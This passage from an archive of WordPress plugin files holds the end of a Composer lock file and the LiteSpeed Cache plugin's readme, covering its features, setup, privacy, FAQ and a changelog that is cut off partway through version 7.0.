"https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/65ff2489553b83b4597e89c3b8b721487011d186", "reference": "65ff2489553b83b4597e89c3b8b721487011d186", "shasum": "" }, "require": { "ext-simplexml": "*", "ext-tokenizer": "*", "ext-xmlwriter": "*", "php": ">=5.4.0" }, "require-dev": { "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.3.4" }, "bin": [ "bin/phpcbf", "bin/phpcs" ], "type": "library", "extra": { "branch-alias": { "dev-master": "3.x-dev" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Greg Sherwood", "role": "Former lead" }, { "name": "Juliette Reinders Folmer", "role": "Current lead" }, { "name": "Contributors", "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer/graphs/contributors" } ], "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer", "keywords": [ "phpcs", "standards", "static analysis" ], "support": { "issues": "https://github.com/PHPCSStandards/PHP_CodeSniffer/issues", "security": "https://github.com/PHPCSStandards/PHP_CodeSniffer/security/policy", "source": "https://github.com/PHPCSStandards/PHP_CodeSniffer", "wiki": "https://github.com/PHPCSStandards/PHP_CodeSniffer/wiki" }, "funding": [ { "url": "https://github.com/PHPCSStandards", "type": "github" }, { "url": "https://github.com/jrfnl", "type": "github" }, { "url": "https://opencollective.com/php_codesniffer", "type": "open_collective" }, { "url": "https://thanks.dev/u/gh/phpcsstandards", "type": "thanks_dev" } ], "time": "2025-05-11T03:36:00+00:00" }, { "name": "wp-coding-standards/wpcs", "version": "3.1.0", "source": { "type": "git", "url": "https://github.com/WordPress/WordPress-Coding-Standards.git", "reference": "9333efcbff231f10dfd9c56bb7b65818b4733ca7" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/WordPress/WordPress-Coding-Standards/zipball/9333efcbff231f10dfd9c56bb7b65818b4733ca7", "reference": "9333efcbff231f10dfd9c56bb7b65818b4733ca7", "shasum": "" }, "require": { "ext-filter": "*", "ext-libxml": "*", "ext-tokenizer": "*", "ext-xmlreader": "*", "php": ">=5.4", "phpcsstandards/phpcsextra": "^1.2.1", "phpcsstandards/phpcsutils": "^1.0.10", "squizlabs/php_codesniffer": "^3.9.0" }, "require-dev": { "php-parallel-lint/php-console-highlighter": "^1.0.0", "php-parallel-lint/php-parallel-lint": "^1.3.2", "phpcompatibility/php-compatibility": "^9.0", "phpcsstandards/phpcsdevtools": "^1.2.0", "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.0" }, "suggest": { "ext-iconv": "For improved results", "ext-mbstring": "For improved results" }, "type": "phpcodesniffer-standard", "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Contributors", "homepage": "https://github.com/WordPress/WordPress-Coding-Standards/graphs/contributors" } ], "description": "PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions", "keywords": [ "phpcs", "standards", "static analysis", "wordpress" ], "support": { "issues": "https://github.com/WordPress/WordPress-Coding-Standards/issues", "source": "https://github.com/WordPress/WordPress-Coding-Standards", "wiki": "https://github.com/WordPress/WordPress-Coding-Standards/wiki" }, "funding": [ { "url": "https://opencollective.com/php_codesniffer", "type": "custom" } ], "time": "2024-03-25T16:39:00+00:00" } ], "aliases": [], "minimum-stability": "stable", "stability-flags": {}, "prefer-stable": true, "prefer-lowest": false, "platform": {}, "platform-dev": {}, "plugin-api-version": "2.6.0" } plugins/litespeed-cache/guest.vary.php000064400000000261152335264760014100 0ustar00update_guest_vary(); plugins/litespeed-cache/readme.txt000064400000140541152335264760013264 0ustar00=== LiteSpeed Cache === Contributors: LiteSpeedTech Tags: caching, optimize, performance, pagespeed, seo, image optimize, object cache, redis, memcached, database cleaner Requires at least: 5.3 Requires PHP: 7.2 Tested up to: 6.9 Stable tag: 7.8.0.1 License: GPLv3 License URI: http://www.gnu.org/licenses/gpl.html All-in-one unbeatable acceleration & PageSpeed improvement: caching, image/CSS/JS optimization... == Description == LiteSpeed Cache for WordPress (LSCWP) is an all-in-one site acceleration plugin, featuring an exclusive server-level cache and a collection of optimization features. LSCWP supports WordPress Multisite and is compatible with most popular plugins, including WooCommerce, bbPress, and Yoast SEO. LiteSpeed Cache for WordPress is compatible with ClassicPress. == Requirements == **General Features** may be used by anyone with any web server (LiteSpeed, Apache, NGINX, etc.). **LiteSpeed Exclusive Features** require one of the following: OpenLiteSpeed, commercial LiteSpeed products, LiteSpeed-powered hosting, or QUIC.cloud CDN. [Why?](https://docs.litespeedtech.com/lscache/lscwp/faq/#why-do-the-cache-features-require-a-litespeed-server) == Plugin Features == = General Features = * Free QUIC.cloud CDN Cache * Object Cache (Memcached/LSMCD/Redis) Support+ * Image Optimization (Lossless/Lossy) * Minify CSS, JavaScript, and HTML * Minify inline & external CSS/JS * Combine CSS/JS * Automatically generate Critical CSS * Lazy-load images/iframes * Responsive Image Placeholders * Multiple CDN Support+ * Load CSS Asynchronously * Defer/delay JS loading * Browser Cache Support+ * Database Cleaner and Optimizer * PageSpeed score (including Core Web Vitals) optimization * OPcode Cache Support+ * HTTP/2 Push for CSS/JS (on web servers that support it) * DNS Prefetch * Cloudflare API * Single Site and Multisite (Network) support * Import/Export settings * Attractive, easy-to-understand interface * AVIF/WebP image format support * Heartbeat control + This service is not provided by the LSCache plugin, nor is it guaranteed to be installed by your service provider. However, the plugin is compatible with the service if it is in use on your site. = LiteSpeed Exclusive Features = * Automatic page caching to greatly improve site performance * Automatic purge of related pages based on certain events * Private cache for logged-in users * Caching of WordPress REST API calls * Separate caching of desktop and mobile views * Ability to schedule purge for specified URLs * WooCommerce and bbPress support * [WordPress CLI](https://docs.litespeedtech.com/lscache/lscwp/cli/) commands * API system for easy cache integration * Exclude from cache by URI, Category, Tag, Cookie, User Agent * Smart preload crawler with support for SEO-friendly sitemap * Multiple crawlers for cache varies * HTTP/2 support * [HTTP/3 & QUIC](https://www.litespeedtech.com/http3-faq) support * ESI (Edge Side Includes) support* * Widgets and Shortcodes as ESI blocks* (requires Classic Widgets plugin for WP 5.8+) * Feature not available in OpenLiteSpeed == Screenshots == 1. Plugin Benchmarks 2. Admin - Dashboard 3. Admin - Image Optimization 4. Admin - Crawler 5. Admin Settings - Cache 6. Admin Settings - Page Optimization 7. Admin Settings - CDN 8. Admin Settings - DB Optimizer 9. Admin Settings - Toolbox 10. Cache Miss Example 11. Cache Hit Example == LSCWP Resources == * [Join our Slack community](https://litespeedtech.com/slack) to connect with other LiteSpeed users. * [Ask a question on our support forum](https://wordpress.org/support/plugin/litespeed-cache/). * [View detailed documentation](https://docs.litespeedtech.com/lscache/lscwp/). * [Read about LSCWP and WordPress on our blog](https://blog.litespeedtech.com/tag/wordpress/). * [Help translate LSCWP](https://translate.wordpress.org/projects/wp-plugins/litespeed-cache/). * [Contribute to the LSCWP GitHub repo](https://github.com/litespeedtech/lscache_wp). == Installation == [View detailed documentation](https://docs.litespeedtech.com/lscache/lscwp/installation/). = For Optimization Without a LiteSpeed Web Server = 1. Install the LiteSpeed Cache for WordPress plugin and activate it. 1. From the WordPress Dashboard, navigate to **LiteSpeed Cache > Page Optimization**. Enable the available optimization features in the various tabs. = For Caching and Optimization With a LiteSpeed Web Server = 1. Install [LiteSpeed Web Server Enterprise](https://www.litespeedtech.com/products/litespeed-web-server) with LSCache Module, [LiteSpeed Web ADC](https://www.litespeedtech.com/products/litespeed-web-adc), or [OpenLiteSpeed](https://www.litespeedtech.com/open-source/openlitespeed) with cache module (Free). Or sign up for [QUIC.cloud CDN](https://quic.cloud). 1. Install the LiteSpeed Cache for WordPress plugin and activate it. 1. From the WordPress Dashboard, navigate to **LiteSpeed Cache > Cache**, make sure the option **Enable LiteSpeed Cache** is set to `ON`. 1. Enable any desired caching and optimization features in the various tabs. = Notes for LiteSpeed Web Server Enterprise = * Make sure that your license includes the LSCache module. A [2-CPU trial license with LSCache module](https://www.litespeedtech.com/products/litespeed-web-server/download/get-a-trial-license "trial license") is available for free for 15 days. * The server must be configured to have caching enabled. If you are the server admin, [click here](https://docs.litespeedtech.com/lscache/start/#configure-cache-root-and-cache-policy) for instructions. Otherwise, please request that the server admin configure the cache root for the server. = Notes for OpenLiteSpeed = * This integration utilizes OpenLiteSpeed's cache module. * If it is a fresh OLS installation, the easiest way to integrate is to use [ols1clk](https://openlitespeed.org/kb/1-click-install/). If using an existing WordPress installation, use the `--wordpresspath` parameter. * If OLS and WordPress are both already installed, please follow the instructions in [How To Set Up LSCache For WordPress](https://openlitespeed.org/kb/how-to-setup-lscache-for-wordpress/). == Third Party Compatibility == The vast majority of plugins and themes are compatible with LSCache. [Our API](https://docs.litespeedtech.com/lscache/lscwp/api/) is available for those that are not. Use the API to customize smart purging, customize cache rules, create cache varies, and make WP nonce cacheable, among other things. == Privacy == This plugin includes some suggested text that you can add to your site's Privacy Policy via the Guide in the WordPress Privacy settings. **For your own information:** LiteSpeed Cache for WordPress potentially stores a duplicate copy of every web page on display on your site. The pages are stored locally on the system where LiteSpeed server software is installed and are not transferred to or accessed by LiteSpeed employees in any way, except as necessary in providing routine technical support if you request it. All cache files are temporary, and may easily be purged before their natural expiration, if necessary, via a Purge All command. It is up to individual site administrators to come up with their own cache expiration rules. In addition to caching, our WordPress plugin has online features provided by QUIC.cloud for Image Optimization and Page Optimization services. When one of these optimizations is requested, data is transmitted to a remote QUIC.cloud server, processed, and then transmitted back for use on your site. QUIC.cloud keeps copies of that data for up to 7 days and then permanently deletes it. Similarly, the WordPress plugin has a Reporting feature whereby a site owner can transmit an environment report to LiteSpeed so that we may better provide technical support. None of these features collects any visitor data. Only server and site data are involved. QUIC.cloud CDN, if enabled, uses LSCache technology to access your site, and serve your content from remote global nodes. Your data is not accessed by QUIC.cloud employees in any way, except as necessary in providing maintenance or technical support. Please see the [QUIC.cloud Privacy Policy](https://quic.cloud/privacy-policy/) for our complete Privacy/GDPR statement. == Frequently Asked Questions == = Why do the cache features require LiteSpeed Server? = This plugin communicates with your LiteSpeed Web Server and its built-in page cache (LSCache) to deliver superior performance to your WordPress site. The plugin’s cache features indicate to the server that a page is cacheable and for how long, or they invalidate particular cached pages using tags. LSCache is a server-level cache, so it's faster than PHP-level caches. [Compare with other PHP-based caches](https://www.litespeedtech.com/benchmarks/wordpress). A page cache allows the server to bypass PHP and database queries altogether. LSCache, in particular, because of its close relationship with the server, can remember things about the cache entries that other plugins cannot, and it can analyze dependencies. It can utilize tags to manage the smart purging of the cache, and it can use vary cookies to serve multiple versions of cached content based on things like mobile vs. desktop, geographic location, and currencies. [See our Caching 101 blog series](https://blog.litespeedtech.com/tag/caching-101/). If all of that sounds complicated, no need to worry. LSCWP works right out of the box with default settings that are appropriate for most sites. [See the Beginner's Guide](https://docs.litespeedtech.com/lscache/lscwp/beginner/). **Don't have a LiteSpeed server?** Try our QUIC.cloud CDN service. It allows sites on *any server* (NGINX and Apache included) to experience the power of LiteSpeed caching! [Click here](https://quic.cloud) to learn more or to give QUIC.cloud a try. = What about the optimization features of LSCache? = LSCWP includes additional optimization features, such as Database Optimization, Minification and Combination of CSS and JS files, HTTP/2 Push, CDN Support, Browser Cache, Object Cache, Lazy Load for Images, and Image Optimization! These features do not require the use of a LiteSpeed web server. = Is the LiteSpeed Cache Plugin for WordPress free? = Yes, LSCWP will always be free and open source. That said, a LiteSpeed server is required for the cache features, and there are fees associated with some LiteSpeed server editions. Some of the premium online services provided through QUIC.cloud (CDN Service, Image Optimization, Critical CSS, Low-Quality Image Placeholder, etc.) require payment at certain usage levels. You can learn more about what these services cost, and what levels of service are free, on [your QUIC.cloud dashboard](https://my.quic.cloud). = What server software is required for this plugin? = A LiteSpeed solution is required in order to use the **LiteSpeed Exclusive** features of this plugin. Any one of the following will work: 1. LiteSpeed Web Server Enterprise with LSCache Module (v5.0.10+) 2. OpenLiteSpeed (v1.4.17+) 3. LiteSpeed WebADC (v2.0+) 4. QUIC.cloud CDN The **General Features** may be used with *any* web server. LiteSpeed is not required. = Does this plugin work in a clustered environment? = The cache entries are stored at the LiteSpeed server level. The simplest solution is to use LiteSpeed WebADC, as the cache entries will be stored at that level. If using another load balancer, the cache entries will only be stored at the backend nodes, not at the load balancer. The purges will also not be synchronized across the nodes, so this is not recommended. If a customized solution is required, please contact LiteSpeed Technologies at `info@litespeedtech.com` NOTICE: The rewrite rules created by this plugin must be copied to the Load Balancer. = Where are the cached files stored? = The actual cached pages are stored and managed by LiteSpeed Servers. Nothing is stored within the WordPress file structure. = Does LiteSpeed Cache for WordPress work with OpenLiteSpeed? = Yes it can work well with OpenLiteSpeed, although some features may not be supported. See **Plugin Features** above for details. Any setting changes that require modifying the `.htaccess` file will require a server restart. = Is WooCommerce supported? = In short, yes. However, for some WooCommerce themes, the cart may not be updated correctly. Please [visit our blog](https://blog.litespeedtech.com/2017/05/31/wpw-fixing-lscachewoocommerce-conflicts/) for a quick tutorial on how to detect this problem and fix it if necessary. = Are my images optimized? = Images are not optimized automatically unless you set **LiteSpeed Cache > Image Optimization > Image Optimization Settings > Auto Request Cron** to `ON`. You may also optimize your images manually. [Learn more](https://docs.litespeedtech.com/lscache/lscwp/imageopt/). = How do I make a WP nonce cacheable in my third-party plugin? = Our API includes a function that uses ESI to "punch a hole" in a cached page for a nonce. This allows the nonce to be cached separately, regardless of the TTL of the page it is on. Learn more in [the API documentation](https://docs.litespeedtech.com/lscache/lscwp/api/#esi). We also welcome contributions to our predefined list of known third party plugin nonces that users can optionally include via [the plugin's ESI settings](https://docs.litespeedtech.com/lscache/lscwp/cache/#esi-nonce). = How do I enable the crawler? = The crawler is disabled by default, and must be enabled by the server admin first. Once the crawler is enabled on the server side, navigate to **LiteSpeed Cache > Crawler > General Settings** and set **Crawler** to `ON`. For more detailed information about crawler setup, please see [the Crawler documentation](https://docs.litespeedtech.com/lscache/lscwp/crawler/). = What are the known compatible plugins and themes? = * [WPML](https://wpml.org/) * [DoLogin Security](https://wordpress.org/plugins/dologin/) * [bbPress](https://wordpress.org/plugins/bbpress/) * [WooCommerce](https://wordpress.org/plugins/woocommerce/) * [Contact Form 7](https://wordpress.org/plugins/contact-form-7/) * [All in One SEO](https://wordpress.org/plugins/all-in-one-seo-pack/) * [Google XML Sitemaps](https://wordpress.org/plugins/google-sitemap-generator/) * [Yoast SEO](https://wordpress.org/plugins/wordpress-seo/) * [Wordfence Security](https://wordpress.org/plugins/wordfence/) * [NextGen Gallery](https://wordpress.org/plugins/nextgen-gallery/) * [ShortPixel](https://shortpixel.com/h/af/CXNO4OI28044/) * Aelia CurrencySwitcher * [Fast Velocity Minify](https://wordpress.org/plugins/fast-velocity-minify/) - Thanks Raul Peixoto! * Autoptimize * [Better WP Minify](https://wordpress.org/plugins/bwp-minify/) * [WP Touch](https://wordpress.org/plugins/wptouch/) * [Theme My Login](https://wordpress.org/plugins/theme-my-login/) * [WPLister](https://www.wplab.com/plugins/wp-lister/) * [WP-PostRatings](https://wordpress.org/plugins/wp-postratings/) * [Avada 5.1 RC1+](https://avada.theme-fusion.com/) * [Elegant Themes Divi 3.0.67+](https://www.elegantthemes.com/gallery/divi/) * [Elegant Divi Builder](https://www.elegantthemes.com/plugins/divi-builder/) * [Caldera Forms](https://wordpress.org/plugins/caldera-forms/) 1.5.6.2+ * Login With Ajax * [Ninja Forms](https://wordpress.org/plugins/ninja-forms/) * [Post Types Order 1.9.3.6+](https://wordpress.org/plugins/post-types-order/) * [BoomBox — Viral Magazine WordPress Theme](https://themeforest.net/item/boombox-viral-buzz-wordpress-theme/16596434?ref=PX-lab) * FacetWP (LSWS 5.3.6+) * Beaver Builder * WpDiscuz * WP-Stateless * Elementor * WS Form * WP Statistics The vast majority of plugins and themes are compatible with LiteSpeed Cache. The most up-to-date compatibility information can be found [in our documentation](https://docs.litespeedtech.com/lscache/lscwp/thirdparty/) = How can I report security bugs? = You can report security bugs through the Patchstack Vulnerability Disclosure Program. The Patchstack team help validate, triage and handle any security vulnerabilities. [Report a security vulnerability.](https://patchstack.com/database/vdp/litespeed-cache) == Changelog == = 7.8.0.1 - Mar 17 2026 = * **Object Cache** Improved Object Cache resilience: auto disable when connection fails, network subsites fallback to database, and dropped TTL setting to respect never-expired transients. = 7.8 - Mar 3 2026 = * **Cloud** Changed Health service to run asynchronously. * **Object Cache** Dropped `Store Transients` option. Transients now always use Object Cache when available, preventing potential database bloat from expired transients not being cleared. (ravanh) * **Media** Added extension check for WebP/AVIF replacement efficiency - only processes jpg/jpeg/png/gif, skips svg/ico/bmp etc. * **Media** Added WebP/AVIF support for macOS Safari >= 16.4. (PR#948) * **Media** Fixed pie chart not displaying in media library. * **Image Optimize** Fixed infinite redirect loop issue for image optimization actions. (giangel84 PR#959) * **Image Optimize** Fixed image optimization data not being cleared when images are replaced using third-party plugins. * **Image Optimize** Fixed reset single image not deleting records from img_optm and img_optming database tables. * **Page Optimize** Fixed font optimization in certain themes. (rbabt PR#955) * **Page Optimize** Filtered HTML tags when saving CSS content. * **Object Cache** Fixed methods returning `null` instead of `false` on failure, matching WordPress Object Cache API convention.(jkolodziej) * **Conf** Improved network subsites config loading efficiency. (dassels43) * **Toolbox** Added download button for log files to download complete logs. * **3rd** Purge product cache when orders are cancelled in WooCommerce. (haralampiev12 PR#954) * **Misc** Added Apache rewrite rule support for security check. (PR#948) * **Misc** Split Cloud and Image Optimization classes into traits for better maintainability. = 7.7 - Dec 16 2025 = * **Task** Increased default cron interval from 1 minute to 15 minutes. * **Conf** Enabled `litespeed_conf_load_option_{$option}` to allow modifying configuration values. * **Conf** Removed deprecated `O_MEDIA_PRELOAD_FEATURED` option. * **GUI** Dark mode toggle now applies instantly without flicker on page reload. * **Page Optimize** Improved dummy CSS replacement logic. * **Page Optimize** Deferred Instant Click to avoid blocking initial page rendering. (pp01 PR#926) * **Cloud** Guest Mode IP/UA lists now sync automatically from the QUIC.cloud API. * **Cloud** Guest Mode IP now supports CIDR notation (e.g., 192.168.1.0/24, 2001:db8::/32). * **Cloud** Fixed a potential warning caused by variable type casting. (userb52 PR#925) * **Cloud** Added null-safe handling for the `allowed_redirect_hosts` filter to prevent unexpected errors. (PR#933 #6972377) * **Cloud** Fixed fatal error on PHP 8 when no timestamp is logged due to number casting. (Patryk Chowratowicz #938) * **Crawler** Removed redundant functions after reformatting. * **Database Optimize** Fixed DB Optimize redirection and transient cleanup issues. (PR#937) * **Vary** Fixed issue where users without a group could not log in. * **Avatar** Fixed queue warning when the table is missing and resolved HTML escaping warnings. (PR#928) * **3rd** Improved WPML image lazy-load detection. (#657426) * **3rd** Fixed Elementor Form submission caching issue. (PR#932) * **3rd** Fixed cache issue when WCML currency changes. (PR#929) = 7.6.2 - Oct 17 2025 = * 🐞**Cloud** Fixed the PHP 8+ typecast issue in QUIC.cloud signature verification which caused activation failures. * **Purge** Restored a delay purge hook while calling purge by CLI. (asafm7) * **REST** Dropped legacy code that had been used for development purposes. * **GUI** Use a stricter selector for dark mode to prevent side effects. = 7.6.1 - Oct 15 2025 = * **Cloud** Increased POST connection timeout to prevent potential failures. * ⚠️🐞**GUI** Fixed a frontend display issue caused by the dark mode CSS file loading on the website frontend. (Peter Wells PR#923) * 🐞**Page Optimize** Corrected a typo in the DNS prefetch filter. (Yaroslav Yachmenov PR#922) = 7.6 - Oct 15 2025 = * 🌱**Admin** Dark mode supported. * 🌱**Purge** Added `Purge All - VPI` to the Purge menu. (PR#898) * ⚠️🐞**Debug** Escaped comments to prevent a CSS vulnerability that could occur when debug is on. (#218778 Trustwave #CWE-79) * **Purge** Gravatar purge now also clears the database records. (Serafín Danessa, PR#915) * **Conf** Fixed an issue where the `Drop Query String` setting was not saved when in network mode. (Jory Hogeveen PR#910) * **VPI** Add fetchpriority and decode attributes to VPI. (Hirak Kalita, serpentdriver, PR#903) * **Cloud** Auto sync new Server IP to QUIC.cloud if changed. (cloud86) * **GUI** Auto update port value when `Object Cache Method` is changed. * **API** Dropped legacy `conf::val()` function. * 🐞**Misc** Fixed PHP 7.2 compatibility issue. (Ulrich Viridis, PR#913) * **Misc** Added UCSS file path to comment info for easier debug. (PR#914) = 7.5.0.1 - Sep 11 2025 = * 🐞**GUI** Fixed an issue where the network dashboard template was missing. (mcworks) = 7.5 - Sep 10 2025 = * 🌱**Image Optimize** New option `Optimize Image Sizes` to allow user to choose which image sizes to include in optimization request. * 🐞**Purge** Purge Time setting will respect WP timezone setting now. (PR#893) * 🐞**Conf** Fixed a minor type-casting bug, which could cause unnecessary QUIC.cloud sync configuration when the setting is empty. * **Misc** Dropped unused rewrite rule from htaccess. = 7.4 - Aug 28 2025 = * 🌱**Media** Added new Auto Rescale Original Image option. * 🌱**Toolbox** Added ability to Disable All for 24 Hours. (PR#886) * 🐞**CDN** Fixed a QUIC.cloud sync configuration failure on network child sites. * 🐞**Object Cache** Fixed a bug that failed to detect the Redis connection status. * **Cache** Better match iPhone browsers for mobile cache detection. * **Cache** Dropped use of `advanced-cache.php` support since WP v5.3+ doesn't need it, and LiteSpeed requires WP v5.3+. * **Cache** When page is not cacheable, set header to value used by WordPress `Cache-Control` header. (asafm7) * **Page Optimize** Better compatibility for dummy CSS removal in cases where other plugins manipulate the quotation marks. * **Page Optimize** Dropped v4.2 legacy `LITESPEED_BYPASS_OPTM`. * **Crawler** Now use an .html file to test the port, as some security plugins block .txt files and cause port test failure. (#661828) * **GUI** Show current live values for options if they are overridden by filters or the server environment. (PR#885) * **Data** Dropped legacy code and upgraded data migration support to LSCWP v5.7-. * **Misc** Support the `LITESPEED_DEV` constant to allow switching to a development environment. * **Misc** Allow leading underscore (`_`) for private functions and variables in format checker. * **Misc** Suppress frequent version check when a certain database option is cached. * **Misc** Dropped `sanitize_file_name` usage to prevent template failure when 3rd party plugins manipulate that filter. = 7.3.0.1 - Jul 30 2025 = * **Page Optimize** Fixed the page score impact caused by CSS placeholder. (wpconvert, Sean Thompson) * **Page Optimize** Fixed wrong prefetch/preload injection when a page contains other `` tags. (idatahuy) * **Crawler** Bypassed port test if no server IP set. (kptk, serkanix, Guillermo) = 7.3 - Jul 24 2025 = * 🌱**CLI** Added `wp litespeed-database` database optimization command. * 🌱**Misc** Added survey and data deletion reminder in deactivation process. * **Core** Refactored the template files to comply with WordPress standards. * **Core** Refactored the CLI files to comply with WordPress standards. Fixed a bug with CLI `option` command failure handler. * **ESI** Fixed a case where the Edit button is missing on the frontend when the permalink structure is `Plain`. (#934261 PR#860) * **API** Added `litespeed_purge_tags` filter to allow manipulation of purge tags. * **API** Allowed overriding `litespeed_ui_events` via window property. (Zsombor Franczia PR#865) * **API** Added `litespeed_vpi_should_queue` filter to allow control over appending to the VPI queue. (tompalmer #855, Viktor Szépe PR#856) * **Debug** Allowed debug at multisite network level. (PR#861) * **Vary** Fixed a possible duplicate WebP vary in Chrome when mimicking an iPhone visit. * 🐞**Vary** Used simpler rewrite rule to check for next generation image format support. * **Page Optimize** Tuned the optimized data injection location in HTML to improve SEO. (videofinanzas) * **Page Optimize** Improved DNS prefetch and preconnect sequence in HTML to be as early as possible. Simplified DNS optimization code. * 🐞**Page Optimize** Added the JS Delay library that was missing when page optimization was off while iframe lazy load was on. (Zsombor Franczia #867) * 🐞**Page Optimize** Allowed lazy load threshold overwrite. (Zsombor Franczia #852 PR#857) * 🐞**Page Optimize** Fixed an issue where the `async` attribute was replaced even when it contained a value, e.g. `async=true`. (@macorak) * 🐞**Cloud** Fixed the API call timestamp file creation warning. * **Cloud** No longer include public key when logging QUIC.cloud registration process. * **Image Optimize** Resend all images that failed to pull instead of bypassing them. (Ryan D) * **Crawler** Checked QUIC.cloud CDN for crawler hit. (PR#866) * 🐞**Crawler** Fixed an issue where the non-role-simulator crawler added the whole map to the blocklist on servers that only support port 80. * **GUI** Added Enable All Features icon to admin bar when all features are disabled. This replaces the banner that previously displayed in admin. (Tobolo, PR#868) * **GUI** Dropped font files. (Masoud Najjar Khodabakhsh) * **3rd** Resolved an issue with an empty WooCommerce ESI nonce and HTML comments on geolocation redirection. (#612331 PR#708) * **OPcache** Detected `opcache.restrict_api` setting to prevent PHP warning in purge. (ookris #9496550 PR#812) * **Misc** Simplified admin JavaScript. * **Misc** Fixed download import file extension issue on mobile. (autori76 #874) * **Misc** Added existing plugin version to ping API for debugging purposes. * **Misc** Fixed comment typos reported by static analysis. (Viktor Szépe PR#836) * **Misc** Removed global variables from plugin initialization file. (Viktor Szépe PR#837) = 7.2 - Jun 18 2025 = * 🌱**CDN** New option: Cloudflare Clear on purge all. (PR#828) * **Core** Used `site_url` instead of `home_url` to fix the content folder parsing and QUIC.cloud calls. * 🐞**Cloud** Fixed a bug where we tried to sync QUIC.cloud usage while debug mode was ON, even when QC was not activated. * **Cloud** Stored request timestamp in static files along w/ database to prevent duplicate requests when database is down. * **Cache** Dropped `Cache PHP Resources` option. * **Cache** Added verification to prevent admin pages from caching even if the site is set to be globally cacheable. * **Image Optimize** Disable image pull cron if there have been no image notifications. * **Crawler** Non-role simulator crawler will now use DNS resolve to hit original server instead of CDN nodes. * **Media** Resolved an issue where deleting an image from grid mode neglected to also remove the optimized versions of the image. (PR#844, Zsombor Franczia #841) * **Media** Allowed filter `litespeed_next_gen_format` to manipulate the value of next gen format. (Zsombor Franczia #853) * **3rd** Elementor: Clear all caches on regenerate CSS & Data. (PR#806) * **Config** `Purge All On Upgrade` now defaults to OFF. * **GUI** Showed `Disable all features` message on all WP-Admin pages for Admin-level users when enabled. * **Misc** Used PHPCS w/ WordPress core and security coding standards to reformat cache menu code. (Viktor Szépe #696) * **Misc** Replaced use of `SHOW TABLES` with `DESCRIBE` to prevent database halt in very large WP Multisite installations. (Boone Gorges PR#834, PR#850) * **Misc** Replaced constants with WordPress functions to check whether AJAX or CRON is running. * **API** Added action `litespeed_save_conf` to provide a trigger for configuration updates. = 7.1 - Apr 24 2025 = * 🌱**Page Optimize** Added allowlist support for CCSS. * **Cloud** CCSS results are now generated asynchronously via QUIC.cloud queue services. * **Cloud** Added TTL control to QUIC.cloud services to make next requests more flexible. * **Crawler** Dropped non-WebP/AVIF crawler if Next Gen Images are being used. * 🐞**Config** Fixed an .htaccess generation bug that occurred when reactivating after previous deactivation. (PR#825) * **GUI** Improved the QC registration notice banner for online services thanks to user feedback. * **GUI** QUIC.cloud management links will be opened in a single dedicated new window to prevent multiple sessions. * **Page Optimization** Enhanced URL fetch validation to avoid exposing possible local info. * **Debug** Added a Click to copy logs button under `Log View` tab. * **CLI** Removed a vary warning log in CLI for QC activation process with a customized login cookie. * **CLI** Removed a log failure in CLI in QC activation process when no existing admin message. * **Misc** Check version only after upgrade to reduce the requests. * **Misc** Switched to CyberPanel.sh to detect public IP for dash tool. = 7.0.1 - Apr 8 2025 = * **Page Optimize** Migrate legacy data to append trailing slash for better compatibility with v7.0-optimized UCSS/CCSS data. = 7.0.0.1 - Mar 27 2025 = * **GUI** Resolved a banner message display error in certain old version cases. * **GUI** Fixed a continual error banner when site doesn't use QC. * **Config** Fixed a continual CDN sync_conf/purge check issue after upgraded to v7.0. * **3rd** Improved WPML multi lang sync_conf compatibility. = 7.0 - Mar 25 2025 = * 🌱**Image Optimization** Added AVIF format. * **Core** Changed plugin classes auto load to preload all to prevent upgrade problems. * **Core** Refactored configuration data initialization method to realtime update instead of delayed update in plugin upgrade phase. * **Core** Used `const.default.json` instead of `const.default.ini` for better compatibility in case `parse_ini_file()` is disabled. * **Core** Minimum required PHP version escalated to PHP v7.2.0. * **Core** Minimum required WP version escalated to WP v5.3. * **Cloud** Dropped `Domain Key`. Now using sodium encryption for authentication and validation. * **Cloud** Added support for `list_preferred` in online service node detection. * **Cloud** Fixed a domain expiry removal PHP warning. (cheekymate06) * **Cloud** Auto dropped Cloud error message banner when successfully reconnected. * **Cloud** Simplified the configure sync parameters to only compare and post the necessary settings. * **Config** Simplified QUIC.cloud CDN Setup. CDN service is now automatically detected when activated in the QUIC.cloud Dashboard. * **Config** Dropped the initial version check when comparing md5 to decide if whether to sync the configuration when upgrading the plugin. * **Config** `LITESPEED_DISABLE_ALL` will now check the value to determine whether it's been applied. * **Database Optimize** Fixed Autoload summary for WP6.6+. (Mukesh Panchal/Viktor Szépe) * **CLI** Added QUIC.cloud CDN CLI command: `wp litespeed-online cdn_init --ssl-cert=xxx.pem --ssl-key=xxx -method=cname|ns|cfi`. * **CLI** Added QUIC.cloud CDN CLI command: `wp litespeed-online link --email=xxx@example.com --api-key=xxxx`. * **CLI** Added QUIC.cloud CDN CLI command: `wp litespeed-online cdn_status`. * **CLI** Added `--force` argument for QUIC.cloud CLI command `wp litespeed-online ping`. * **Image Optimization** Dropped `Auto Pull Cron` setting. Added PHP const `LITESPEED_IMG_OPTM_PULL_CRON` support. * **Image Optimization** Added Soft Reset Counter button to allow restarting image optimization without destroying previously optimized images. * **Image Optimization** Added support for `LITESPEED_IMG_OPTM_PULL_THREADS` to adjust the threads to avoid PHP max connection limits. * **Image Optimization** Added support for the latest firefox WebP Accept header change for serving WebP. * **Image Optimization** Allowed PHP Constant `LITESPEED_FORCE_WP_REMOTE_GET` to force using `wp_remote_get()` to pull images. * **Image Optimization** Dropped API filter `litespeed_img_optm_options_per_image`. * **Image Optimization** Auto redirect nodes if the server environment is switched between Preview and Production. * **Purge** Allowed `LSWCP_EMPTYCACHE` to be defined as false to disable the ability to Purge all sites. * **Purge** Each purge action now has a hook. * **Purge** Fixed `PURGESINGLE` and `PURGE` query string purge tag bug. * **Purge** `PURGE` will purge the single URL only like `PURGESINGLE`. * **ESI** Fixed a log logic failure when ESI buffer is empty. * **ESI** Added Elementor nonces (jujube0ajluxl PR#736) * 